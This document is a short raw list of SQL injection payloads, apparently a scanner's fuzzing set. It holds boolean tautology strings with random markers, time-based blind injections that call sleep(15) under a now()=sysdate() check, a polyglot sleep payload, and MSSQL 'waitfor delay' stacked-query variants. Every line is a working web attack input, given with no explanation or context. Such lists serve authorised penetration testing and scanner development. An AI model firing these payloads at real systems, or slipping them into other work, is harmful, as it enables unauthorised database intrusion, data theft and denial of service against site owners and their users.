-1' OR 5*5=25 or 'NZNjsD15'='

-1" OR 5*5=25 or "XZWv0OZb"="

1*if(now()=sysdate(),sleep(15),0)

10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1-1; waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

1-1)); waitfor delay '0:0:15' --

1-1 waitfor delay '0:0:15' --